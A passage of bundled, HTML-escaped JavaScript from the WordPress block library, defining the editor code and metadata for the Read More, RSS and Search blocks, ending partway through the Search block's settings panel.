     *     // The values are the attribute values of the block.
     *     &quot;V98q_x&quot;: { content: &#039;My content value&#039; }
     * }
     *
     * New attribute format:
     * content: {
     *     &quot;V98q_x&quot;: { content: &#039;My content value&#039; }
     * }
     *
     */
    migrate(attributes2) {
      const { overrides, ...retainedAttributes } = attributes2;
      const content = {};
      Object.keys(overrides).forEach((id) =&gt; {
        content[id] = overrides[id];
      });
      return {
        ...retainedAttributes,
        content
      };
    }
  };
  var deprecated_default44 = [v217, v139];

  // packages/block-library/build-module/block/index.mjs
  var { name: name93 } = block_default92;
  var settings92 = {
    deprecated: deprecated_default44,
    edit: ReusableBlockEditRecursionWrapper,
    icon: symbol_default,
    __experimentalLabel: ({ ref }) =&gt; {
      if (!ref) {
        return;
      }
      const entity = (0, import_data129.select)(import_core_data78.store).getEditedEntityRecord(
        &quot;postType&quot;,
        &quot;wp_block&quot;,
        ref
      );
      if (!entity?.title) {
        return;
      }
      return (0, import_html_entities12.decodeEntities)(entity.title);
    }
  };
  var init92 = () =&gt; initBlock({ name: name93, metadata: block_default92, settings: settings92 });

  // packages/block-library/build-module/read-more/index.mjs
  var read_more_exports = {};
  __export(read_more_exports, {
    init: () =&gt; init93,
    metadata: () =&gt; block_default93,
    name: () =&gt; name94,
    settings: () =&gt; settings93
  });
  var import_i18n218 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/read-more/block.json
  var block_default93 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/read-more&quot;,
    title: &quot;Read More&quot;,
    category: &quot;theme&quot;,
    description: &quot;Displays the link of a post, page, or any other content-type.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      content: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;
      }
    },
    usesContext: [&quot;postId&quot;],
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        text: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true,
          textDecoration: true
        }
      },
      spacing: {
        margin: [&quot;top&quot;, &quot;bottom&quot;],
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalDefaultControls: {
          width: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-read-more&quot;
  };

  // packages/block-library/build-module/read-more/edit.mjs
  var import_block_editor229 = __toESM(require_block_editor(), 1);
  var import_components143 = __toESM(require_components(), 1);
  var import_blocks101 = __toESM(require_blocks(), 1);
  var import_i18n217 = __toESM(require_i18n(), 1);
  var import_jsx_runtime419 = __toESM(require_jsx_runtime(), 1);
  function ReadMore({
    attributes: { content, linkTarget },
    setAttributes,
    insertBlocksAfter
  }) {
    const blockProps = (0, import_block_editor229.useBlockProps)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime419.jsxs)(import_jsx_runtime419.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime419.jsx)(import_block_editor229.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime419.jsx)(
        import_components143.__experimentalToolsPanel,
        {
          label: (0, import_i18n217.__)(&quot;Settings&quot;),
          resetAll: () =&gt; setAttributes({ linkTarget: &quot;_self&quot; }),
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime419.jsx)(
            import_components143.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n217.__)(&quot;Open in new tab&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; linkTarget !== &quot;_self&quot;,
              onDeselect: () =&gt; setAttributes({ linkTarget: &quot;_self&quot; }),
              children: /* @__PURE__ */ (0, import_jsx_runtime419.jsx)(
                import_components143.ToggleControl,
                {
                  label: (0, import_i18n217.__)(&quot;Open in new tab&quot;),
                  onChange: (value) =&gt; setAttributes({
                    linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                  }),
                  checked: linkTarget === &quot;_blank&quot;
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime419.jsx)(
        import_block_editor229.RichText,
        {
          identifier: &quot;content&quot;,
          tagName: &quot;a&quot;,
          &quot;aria-label&quot;: (0, import_i18n217.__)(&quot;\u201CRead more\u201D link text&quot;),
          placeholder: (0, import_i18n217.__)(&quot;Read more&quot;),
          value: content,
          onChange: (newValue) =&gt; setAttributes({ content: newValue }),
          __unstableOnSplitAtEnd: () =&gt; insertBlocksAfter((0, import_blocks101.createBlock)((0, import_blocks101.getDefaultBlockName)())),
          withoutInteractiveFormatting: true,
          ...blockProps
        }
      )
    ] });
  }

  // packages/block-library/build-module/read-more/index.mjs
  var { name: name94 } = block_default93;
  var settings93 = {
    icon: link_default,
    edit: ReadMore,
    example: {
      attributes: {
        content: (0, import_i18n218.__)(&quot;Read more&quot;)
      }
    }
  };
  var init93 = () =&gt; initBlock({ name: name94, metadata: block_default93, settings: settings93 });

  // packages/block-library/build-module/rss/index.mjs
  var rss_exports = {};
  __export(rss_exports, {
    init: () =&gt; init94,
    metadata: () =&gt; block_default94,
    name: () =&gt; name95,
    settings: () =&gt; settings94
  });

  // packages/block-library/build-module/rss/block.json
  var block_default94 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/rss&quot;,
    title: &quot;RSS&quot;,
    category: &quot;widgets&quot;,
    description: &quot;Display entries from any RSS or Atom feed.&quot;,
    keywords: [&quot;atom&quot;, &quot;feed&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      columns: {
        type: &quot;number&quot;,
        default: 2
      },
      blockLayout: {
        type: &quot;string&quot;,
        default: &quot;list&quot;
      },
      feedURL: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      itemsToShow: {
        type: &quot;number&quot;,
        default: 5
      },
      displayExcerpt: {
        type: &quot;boolean&quot;,
        default: false
      },
      displayAuthor: {
        type: &quot;boolean&quot;,
        default: false
      },
      displayDate: {
        type: &quot;boolean&quot;,
        default: false
      },
      excerptLength: {
        type: &quot;number&quot;,
        default: 55
      },
      openInNewTab: {
        type: &quot;boolean&quot;,
        default: false
      },
      rel: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          padding: false,
          margin: false
        }
      },
      color: {
        background: true,
        text: true,
        gradients: true,
        link: true
      }
    },
    editorStyle: &quot;wp-block-rss-editor&quot;,
    style: &quot;wp-block-rss&quot;
  };

  // packages/block-library/build-module/rss/edit.mjs
  var import_block_editor230 = __toESM(require_block_editor(), 1);
  var import_components144 = __toESM(require_components(), 1);
  var import_element115 = __toESM(require_element(), 1);
  var import_i18n219 = __toESM(require_i18n(), 1);
  var import_url19 = __toESM(require_url(), 1);
  var import_server_side_render5 = __toESM(require_server_side_render(), 1);
  var import_compose51 = __toESM(require_compose(), 1);
  var import_jsx_runtime420 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_MIN_ITEMS = 1;
  var DEFAULT_MAX_ITEMS = 20;
  function RSSEdit({ attributes: attributes2, setAttributes, name: name123 }) {
    const [isEditing, setIsEditing] = (0, import_element115.useState)(!attributes2.feedURL);
    const {
      blockLayout,
      columns,
      displayAuthor,
      displayDate,
      displayExcerpt,
      excerptLength,
      feedURL,
      itemsToShow,
      openInNewTab,
      rel
    } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    function toggleAttribute(propName) {
      return () =&gt; {
        const value = attributes2[propName];
        setAttributes({ [propName]: !value });
      };
    }
    function onSubmitURL(event) {
      event.preventDefault();
      if (feedURL) {
        setAttributes({ feedURL: (0, import_url19.prependHTTPS)(feedURL) });
        setIsEditing(false);
      }
    }
    const { content, status, error } = (0, import_server_side_render5.useServerSideRender)({
      attributes: attributes2,
      skipBlockSupportAttributes: true,
      block: name123
    });
    const disabledRef = (0, import_compose51.useDisabled)();
    const blockProps = (0, import_block_editor230.useBlockProps)({ ref: isEditing ? null : disabledRef });
    const label = (0, import_i18n219.__)(&quot;RSS URL&quot;);
    if (isEditing) {
      return /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
        import_components144.Placeholder,
        {
          icon: rss_default,
          label,
          instructions: (0, import_i18n219.__)(
            &quot;Display entries from any RSS or Atom feed.&quot;
          ),
          children: /* @__PURE__ */ (0, import_jsx_runtime420.jsxs)(
            &quot;form&quot;,
            {
              onSubmit: onSubmitURL,
              className: &quot;wp-block-rss__placeholder-form&quot;,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
                  import_components144.__experimentalInputControl,
                  {
                    __next40pxDefaultSize: true,
                    label,
                    type: &quot;url&quot;,
                    hideLabelFromVision: true,
                    placeholder: (0, import_i18n219.__)(&quot;Enter URL here\u2026&quot;),
                    value: feedURL,
                    onChange: (value) =&gt; setAttributes({ feedURL: value }),
                    className: &quot;wp-block-rss__placeholder-input&quot;
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
                  import_components144.Button,
                  {
                    __next40pxDefaultSize: true,
                    variant: &quot;primary&quot;,
                    type: &quot;submit&quot;,
                    children: (0, import_i18n219.__)(&quot;Apply&quot;)
                  }
                )
              ]
            }
          )
        }
      ) });
    }
    const toolbarControls = [
      {
        icon: pencil_default,
        title: (0, import_i18n219.__)(&quot;Edit RSS URL&quot;),
        onClick: () =&gt; setIsEditing(true)
      },
      {
        icon: list_default,
        title: (0, import_i18n219._x)(&quot;List view&quot;, &quot;RSS block display setting&quot;),
        onClick: () =&gt; setAttributes({ blockLayout: &quot;list&quot; }),
        isActive: blockLayout === &quot;list&quot;
      },
      {
        icon: grid_default,
        title: (0, import_i18n219._x)(&quot;Grid view&quot;, &quot;RSS block display setting&quot;),
        onClick: () =&gt; setAttributes({ blockLayout: &quot;grid&quot; }),
        isActive: blockLayout === &quot;grid&quot;
      }
    ];
    return /* @__PURE__ */ (0, import_jsx_runtime420.jsxs)(import_jsx_runtime420.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(import_block_editor230.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(import_components144.ToolbarGroup, { controls: toolbarControls }) }),
      /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(import_block_editor230.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime420.jsxs)(
        import_components144.__experimentalToolsPanel,
        {
          label: (0, import_i18n219.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              itemsToShow: 5,
              displayAuthor: false,
              displayDate: false,
              displayExcerpt: false,
              excerptLength: 55,
              columns: 2,
              openInNewTab: false
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
              import_components144.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n219.__)(&quot;Number of items&quot;),
                hasValue: () =&gt; itemsToShow !== 5,
                onDeselect: () =&gt; setAttributes({ itemsToShow: 5 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
                  import_components144.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n219.__)(&quot;Number of items&quot;),
                    value: itemsToShow,
                    onChange: (value) =&gt; setAttributes({ itemsToShow: value }),
                    min: DEFAULT_MIN_ITEMS,
                    max: DEFAULT_MAX_ITEMS,
                    required: true
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
              import_components144.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n219.__)(&quot;Display author&quot;),
                hasValue: () =&gt; !!displayAuthor,
                onDeselect: () =&gt; setAttributes({ displayAuthor: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
                  import_components144.ToggleControl,
                  {
                    label: (0, import_i18n219.__)(&quot;Display author&quot;),
                    checked: displayAuthor,
                    onChange: toggleAttribute(&quot;displayAuthor&quot;)
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
              import_components144.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n219.__)(&quot;Display date&quot;),
                hasValue: () =&gt; !!displayDate,
                onDeselect: () =&gt; setAttributes({ displayDate: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
                  import_components144.ToggleControl,
                  {
                    label: (0, import_i18n219.__)(&quot;Display date&quot;),
                    checked: displayDate,
                    onChange: toggleAttribute(&quot;displayDate&quot;)
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
              import_components144.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n219.__)(&quot;Display excerpt&quot;),
                hasValue: () =&gt; !!displayExcerpt,
                onDeselect: () =&gt; setAttributes({ displayExcerpt: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
                  import_components144.ToggleControl,
                  {
                    label: (0, import_i18n219.__)(&quot;Display excerpt&quot;),
                    checked: displayExcerpt,
                    onChange: toggleAttribute(&quot;displayExcerpt&quot;)
                  }
                )
              }
            ),
            displayExcerpt &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
              import_components144.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n219.__)(&quot;Max number of words in excerpt&quot;),
                hasValue: () =&gt; excerptLength !== 55,
                onDeselect: () =&gt; setAttributes({ excerptLength: 55 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
                  import_components144.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n219.__)(&quot;Max number of words in excerpt&quot;),
                    value: excerptLength,
                    onChange: (value) =&gt; setAttributes({ excerptLength: value }),
                    min: 10,
                    max: 100,
                    required: true
                  }
                )
              }
            ),
            blockLayout === &quot;grid&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
              import_components144.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n219.__)(&quot;Columns&quot;),
                hasValue: () =&gt; columns !== 2,
                onDeselect: () =&gt; setAttributes({ columns: 2 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
                  import_components144.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n219.__)(&quot;Columns&quot;),
                    value: columns,
                    onChange: (value) =&gt; setAttributes({ columns: value }),
                    min: 2,
                    max: 6,
                    required: true
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
              import_components144.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n219.__)(&quot;Open links in new tab&quot;),
                hasValue: () =&gt; !!openInNewTab,
                onDeselect: () =&gt; setAttributes({ openInNewTab: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
                  import_components144.ToggleControl,
                  {
                    label: (0, import_i18n219.__)(&quot;Open links in new tab&quot;),
                    checked: openInNewTab,
                    onChange: (value) =&gt; setAttributes({ openInNewTab: value })
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(import_block_editor230.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(
        import_components144.TextControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n219.__)(&quot;Link relation&quot;),
          help: (0, import_element115.createInterpolateElement)(
            (0, import_i18n219.__)(
              &quot;The &lt;a&gt;Link Relation&lt;/a&gt; attribute defines the relationship between a linked resource and the current document.&quot;
            ),
            {
              a: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(import_components144.ExternalLink, { href: &quot;https://developer.mozilla.org/docs/Web/HTML/Attributes/rel&quot; })
            }
          ),
          value: rel || &quot;&quot;,
          onChange: (value) =&gt; setAttributes({ rel: value })
        }
      ) }),
      status === &quot;loading&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(import_components144.Spinner, {}) }),
      status === &quot;error&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(&quot;p&quot;, { children: (0, import_i18n219.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n219.__)(&quot;Error: %s&quot;),
        error
      ) }) }),
      status === &quot;success&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime420.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }

  // packages/block-library/build-module/rss/index.mjs
  var { name: name95 } = block_default94;
  var settings94 = {
    icon: rss_default,
    example: {
      attributes: {
        feedURL: &quot;https://wordpress.org&quot;
      }
    },
    edit: RSSEdit
  };
  var init94 = () =&gt; initBlock({ name: name95, metadata: block_default94, settings: settings94 });

  // packages/block-library/build-module/search/index.mjs
  var search_exports = {};
  __export(search_exports, {
    init: () =&gt; init95,
    metadata: () =&gt; block_default95,
    name: () =&gt; name96,
    settings: () =&gt; settings95
  });
  var import_i18n222 = __toESM(require_i18n(), 1);
  var import_blocks102 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/search/block.json
  var block_default95 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/search&quot;,
    title: &quot;Search&quot;,
    category: &quot;widgets&quot;,
    description: &quot;Help visitors find your content.&quot;,
    keywords: [&quot;find&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      label: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      showLabel: {
        type: &quot;boolean&quot;,
        default: true
      },
      placeholder: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      width: {
        type: &quot;number&quot;
      },
      widthUnit: {
        type: &quot;string&quot;
      },
      buttonText: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      buttonPosition: {
        type: &quot;string&quot;,
        default: &quot;button-outside&quot;
      },
      buttonUseIcon: {
        type: &quot;boolean&quot;,
        default: false
      },
      query: {
        type: &quot;object&quot;,
        default: {}
      },
      isSearchFieldHidden: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    supports: {
      anchor: true,
      align: [&quot;left&quot;, &quot;center&quot;, &quot;right&quot;],
      color: {
        gradients: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      interactivity: true,
      typography: {
        __experimentalSkipSerialization: true,
        __experimentalSelector: &quot;.wp-block-search__label, .wp-block-search__input, .wp-block-search__button&quot;,
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      },
      spacing: {
        margin: true
      },
      html: false
    },
    editorStyle: &quot;wp-block-search-editor&quot;,
    style: &quot;wp-block-search&quot;
  };

  // packages/block-library/build-module/search/edit.mjs
  var import_block_editor231 = __toESM(require_block_editor(), 1);
  var import_data130 = __toESM(require_data(), 1);
  var import_element116 = __toESM(require_element(), 1);
  var import_components145 = __toESM(require_components(), 1);
  var import_compose52 = __toESM(require_compose(), 1);
  var import_i18n220 = __toESM(require_i18n(), 1);
  var import_dom11 = __toESM(require_dom(), 1);

  // packages/block-library/build-module/search/utils.mjs
  var PC_WIDTH_DEFAULT = 50;
  var PX_WIDTH_DEFAULT = 350;
  var MIN_WIDTH = 220;
  function isPercentageUnit(unit) {
    return unit === &quot;%&quot;;
  }

  // packages/block-library/build-module/search/edit.mjs
  var import_jsx_runtime421 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_INNER_PADDING = &quot;4px&quot;;
  var PERCENTAGE_WIDTHS = [25, 50, 75, 100];
  function SearchEdit({
    className,
    attributes: attributes2,
    setAttributes,
    toggleSelection,
    isSelected,
    clientId
  }) {
    const {
      label,
      showLabel,
      placeholder: placeholder2,
      width,
      widthUnit,
      align,
      buttonText,
      buttonPosition,
      buttonUseIcon,
      isSearchFieldHidden,
      style: style2
    } = attributes2;
    const wasJustInsertedIntoNavigationBlock = (0, import_data130.useSelect)(
      (select9) =&gt; {
        const { getBlockParentsByBlockName, wasBlockJustInserted } = select9(import_block_editor231.store);
        return !!getBlockParentsByBlockName(clientId, &quot;core/navigation&quot;)?.length &amp;&amp; wasBlockJustInserted(clientId);
      },
      [clientId]
    );
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data130.useDispatch)(import_block_editor231.store);
    (0, import_element116.useEffect)(() =&gt; {
      if (wasJustInsertedIntoNavigationBlock) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          showLabel: false,
          buttonUseIcon: true,
          buttonPosition: &quot;button-inside&quot;
        });
      }
    }, [
      __unstableMarkNextChangeAsNotPersistent,
      wasJustInsertedIntoNavigationBlock,
      setAttributes
    ]);
    const borderRadius = style2?.border?.radius;
    let borderProps = (0, import_block_editor231.__experimentalUseBorderProps)(attributes2);
    if (typeof borderRadius === &quot;number&quot;) {
      borderProps = {
        ...borderProps,
        style: {
          ...borderProps.style,
          borderRadius: `${borderRadius}px`
        }
      };
    }
    const colorProps = (0, import_block_editor231.__experimentalUseColorProps)(attributes2);
    const [fluidTypographySettings, layout] = (0, import_block_editor231.useSettings)(
      &quot;typography.fluid&quot;,
      &quot;layout&quot;
    );
    const typographyProps = (0, import_block_editor231.getTypographyClassesAndStyles)(attributes2, {
      typography: {
        fluid: fluidTypographySettings
      },
      layout: {
        wideSize: layout?.wideSize
      }
    });
    const unitControlInstanceId = (0, import_compose52.useInstanceId)(import_components145.__experimentalUnitControl);
    const unitControlInputId = `wp-block-search__width-${unitControlInstanceId}`;
    const isButtonPositionInside = &quot;button-inside&quot; === buttonPosition;
    const isButtonPositionOutside = &quot;button-outside&quot; === buttonPosition;
    const hasNoButton = &quot;no-button&quot; === buttonPosition;
    const hasOnlyButton = &quot;button-only&quot; === buttonPosition;
    const searchFieldRef = (0, import_element116.useRef)();
    const buttonRef = (0, import_element116.useRef)();
    const units = (0, import_components145.__experimentalUseCustomUnits)({
      availableUnits: [&quot;%&quot;, &quot;px&quot;],
      defaultValues: { &quot;%&quot;: PC_WIDTH_DEFAULT, px: PX_WIDTH_DEFAULT }
    });
    (0, import_element116.useEffect)(() =&gt; {
      if (hasOnlyButton &amp;&amp; !isSelected) {
        setAttributes({
          isSearchFieldHidden: true
        });
      }
    }, [hasOnlyButton, isSelected, setAttributes]);
    (0, import_element116.useEffect)(() =&gt; {
      if (!hasOnlyButton || !isSelected) {
        return;
      }
      setAttributes({
        isSearchFieldHidden: false
      });
    }, [hasOnlyButton, isSelected, setAttributes, width]);
    const getBlockClassNames = () =&gt; {
      return clsx_default(
        className,
        isButtonPositionInside ? &quot;wp-block-search__button-inside&quot; : void 0,
        isButtonPositionOutside ? &quot;wp-block-search__button-outside&quot; : void 0,
        hasNoButton ? &quot;wp-block-search__no-button&quot; : void 0,
        hasOnlyButton ? &quot;wp-block-search__button-only&quot; : void 0,
        !buttonUseIcon &amp;&amp; !hasNoButton ? &quot;wp-block-search__text-button&quot; : void 0,
        buttonUseIcon &amp;&amp; !hasNoButton ? &quot;wp-block-search__icon-button&quot; : void 0,
        hasOnlyButton &amp;&amp; isSearchFieldHidden ? &quot;wp-block-search__searchfield-hidden&quot; : void 0
      );
    };
    const buttonPositionControls = [
      {
        label: (0, import_i18n220.__)(&quot;Button outside&quot;),
        value: &quot;button-outside&quot;
      },
      {
        label: (0, import_i18n220.__)(&quot;Button inside&quot;),
        value: &quot;button-inside&quot;
      },
      {
        label: (0, import_i18n220.__)(&quot;No button&quot;),
        value: &quot;no-button&quot;
      },
      {
        label: (0, import_i18n220.__)(&quot;Button only&quot;),
        value: &quot;button-only&quot;
      }
    ];
    const getResizableSides = () =&gt; {
      if (hasOnlyButton) {
        return {};
      }
      return {
        right: align !== &quot;right&quot;,
        left: align === &quot;right&quot;
      };
    };
    const renderTextField = () =&gt; {
      const textFieldClasses = clsx_default(
        &quot;wp-block-search__input&quot;,
        isButtonPositionInside ? void 0 : borderProps.className,
        typographyProps.className
      );
      const textFieldStyles = {
        ...isButtonPositionInside ? {
          borderRadius: borderProps.style?.borderRadius,
          borderTopLeftRadius: borderProps.style?.borderTopLeftRadius,
          borderTopRightRadius: borderProps.style?.borderTopRightRadius,
          borderBottomLeftRadius: borderProps.style?.borderBottomLeftRadius,
          borderBottomRightRadius: borderProps.style?.borderBottomRightRadius
        } : borderProps.style,
        ...typographyProps.style,
        textDecoration: void 0
      };
      return /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
        &quot;input&quot;,
        {
          type: &quot;search&quot;,
          className: textFieldClasses,
          style: textFieldStyles,
          &quot;aria-label&quot;: (0, import_i18n220.__)(&quot;Optional placeholder text&quot;),
          placeholder: placeholder2 ? void 0 : (0, import_i18n220.__)(&quot;Optional placeholder\u2026&quot;),
          value: placeholder2,
          onChange: (event) =&gt; setAttributes({ placeholder: event.target.value }),
          ref: searchFieldRef
        }
      );
    };
    const renderButton = () =&gt; {
      const buttonClasses = clsx_default(
        &quot;wp-block-search__button&quot;,
        colorProps.className,
        typographyProps.className,
        isButtonPositionInside ? void 0 : borderProps.className,
        buttonUseIcon ? &quot;has-icon&quot; : void 0,
        (0, import_block_editor231.__experimentalGetElementClassName)(&quot;button&quot;)
      );
      const buttonStyles = {
        ...colorProps.style,
        ...typographyProps.style,
        ...isButtonPositionInside ? {
          borderRadius: borderProps.style?.borderRadius,
          borderTopLeftRadius: borderProps.style?.borderTopLeftRadius,
          borderTopRightRadius: borderProps.style?.borderTopRightRadius,
          borderBottomLeftRadius: borderProps.style?.borderBottomLeftRadius,
          borderBottomRightRadius: borderProps.style?.borderBottomRightRadius
        } : borderProps.style
      };
      const handleButtonClick = () =&gt; {
        if (hasOnlyButton) {
          setAttributes({
            isSearchFieldHidden: !isSearchFieldHidden
          });
        }
      };
      return /* @__PURE__ */ (0, import_jsx_runtime421.jsxs)(import_jsx_runtime421.Fragment, { children: [
        buttonUseIcon &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
          &quot;button&quot;,
          {
            type: &quot;button&quot;,
            className: buttonClasses,
            style: buttonStyles,
            &quot;aria-label&quot;: buttonText ? (0, import_dom11.__unstableStripHTML)(buttonText) : (0, import_i18n220.__)(&quot;Search&quot;),
            onClick: handleButtonClick,
            ref: buttonRef,
            children: /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(icon_default, { icon: search_default })
          }
        ),
        !buttonUseIcon &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
          import_block_editor231.RichText,
          {
            identifier: &quot;buttonText&quot;,
            className: buttonClasses,
            style: buttonStyles,
            &quot;aria-label&quot;: (0, import_i18n220.__)(&quot;Button text&quot;),
            placeholder: (0, import_i18n220.__)(&quot;Add button text\u2026&quot;),
            withoutInteractiveFormatting: true,
            value: buttonText,
            onChange: (html) =&gt; setAttributes({ buttonText: html }),
            onClick: handleButtonClick
          }
        )
      ] });
    };
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const controls = /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(import_jsx_runtime421.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(import_block_editor231.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime421.jsxs)(
      import_components145.__experimentalToolsPanel,
      {
        label: (0, import_i18n220.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            width: void 0,
            widthUnit: void 0,
            showLabel: true,
            buttonUseIcon: false,
            buttonPosition: &quot;button-outside&quot;,
            isSearchFieldHidden: false
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
            import_components145.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; !showLabel,
              label: (0, import_i18n220.__)(&quot;Show label&quot;),
              onDeselect: () =&gt; {
                setAttributes({
                  showLabel: true
                });
              },
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
                import_components145.ToggleControl,
                {
                  checked: showLabel,
                  label: (0, import_i18n220.__)(&quot;Show label&quot;),
                  onChange: (value) =&gt; setAttributes({
                    showLabel: value
                  })
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
            import_components145.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; buttonPosition !== &quot;button-outside&quot;,
              label: (0, import_i18n220.__)(&quot;Button position&quot;),
              onDeselect: () =&gt; {
                setAttributes({
                  buttonPosition: &quot;button-outside&quot;,
                  isSearchFieldHidden: false
                });
              },
